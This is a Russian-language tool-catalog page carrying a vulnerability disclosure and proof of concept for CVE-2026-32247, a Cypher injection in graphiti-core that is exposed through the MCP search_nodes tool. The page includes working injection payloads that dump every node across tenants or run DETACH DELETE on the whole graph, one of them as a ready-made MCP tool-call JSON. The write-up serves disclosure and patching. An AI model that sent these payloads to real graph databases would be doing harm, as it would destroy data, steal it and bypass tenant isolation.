Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-32247 — Proof-of-concept для CVE-2026-32247 — Cypher-инъекции в graphiti-core через несанитизированные node_labels, демонстрирующий эксфильтрацию данных и удаление графа через MCP search_nodes. | Kitploit
Инструменты/GitHubGitHub/romain-deperne/cve-2026-32247
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийБезопасность Баз Данных
GitHubromain-deperne/cve-2026-32247

CVE-2026-32247

Proof-of-concept для CVE-2026-32247 — Cypher-инъекции в graphiti-core через несанитизированные node_labels, демонстрирующий эксфильтрацию данных и удаление графа через MCP search_nodes.

Репозиторий
1341 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-32247 — Cypher-инъекция в graphiti-core через несанитизированные node_labels

Уровень серьёзности: Высокий (CVSS 8.1) CWE: CWE-943 — Ненадлежащая нейтрализация специальных элементов в логике запросов к данным Затронуто: graphiti-core <= 0.28.1 (pip) Исправлено в: 0.28.2 Рекомендация: GHSA-gg5m-55jj-8m5g NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247 Автор находки: Romain Deperne

Кратко

graphiti-core формирует Cypher-конструкции WHERE, объединяя предоставленные пользователем строки меток узлов через | и вставляя их в сырой запрос. Злоумышленник может внедрить произвольные операторы Cypher, похитить данные из любого узла графа всех тенантов или удалить весь граф — параметризация и валидация отсутствуют на всём пути.

Анализ

Я проверил построение запросов на границе между MCP-инструментом и графовой базой данных. В search_filters.py выражение 'n:' + node_labels напрямую вставляло значения из параметра инструмента entity_types в Cypher-запрос.

Что делает это интереснее стандартной инъекции: конструкция WITH в Cypher позволяет выйти из контекста WHERE и начать совершенно новый конвейер. Так, ) закрывает выражение метки в скобках, WITH n переключает на новую конструкцию, а // молча отбрасывает остаток исходного запроса. Одна полезная нагрузка — полный доступ к графу.

Сначала я воспроизвёл построение запроса в отдельном скрипте, а затем проверил деструктивный сценарий на графовой базе данных, прежде чем сообщить о нём.

Затронутый компонент

Файл: graphiti_core/search/search_filters.py, строки 91–92 и 134–135

# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause

Точка входа: mcp_server/src/graphiti_mcp_server.py, строка 441

search_filters = SearchFilters(
    node_labels=entity_types,  # user input passed directly, no validation
)

Параметр entity_types передаётся из вызова инструмента MCP search_nodes напрямую в построитель запросов. Затронуты оба бэкенда — Neo4j и FalkorDB. Бэкенд Kuzu не затронут, поскольку в нём используются параметризованные запросы.

Первопричина

Значение node_label_filter (n:Label1|Label2) встраивается в запрос Cypher следующим образом:

WHERE (n:Label1|Label2) AND ...

Поскольку метки объединяются через | и оборачиваются в скобки вызывающей стороной, злоумышленнику достаточно закрыть выражение символом ) и внедрить новые конструкции Cypher. Оператор комментария // подавляет оставшуюся часть исходного запроса.

PoC

# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization  →  WHERE (n:Person|Organization) AND ...

# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest

# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))

Через вызов инструмента MCP:

{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}

Влияние

  • Эксфильтрация данных: чтение любых узлов/связей во всех пространствах имён group_id
  • Уничтожение данных: DETACH DELETE стирает весь граф
  • Обход изоляции арендаторов: фильтр group_id применяется после инъектируемого фильтра меток — внедрение конструкции WITH полностью его обходит
  • Graphiti используется как слой памяти в нескольких фреймворках ИИ-агентов; интерфейс MCP делает эту уязвимость удалённо эксплуатируемой любым подключённым агентом

Исправление

Исправленная версия проверяет метки узлов по списку разрешённых символов (буквенно-цифровых) перед интерполяцией, а путь полнотекстового поиска использует параметризованные запросы для значений group_id.

Хронология

  • Сообщено: приватный advisory GHSA
  • Выпущен патч: graphiti-core 0.28.2
  • Опубликован CVE: CVE-2026-32247
Скачать инструмент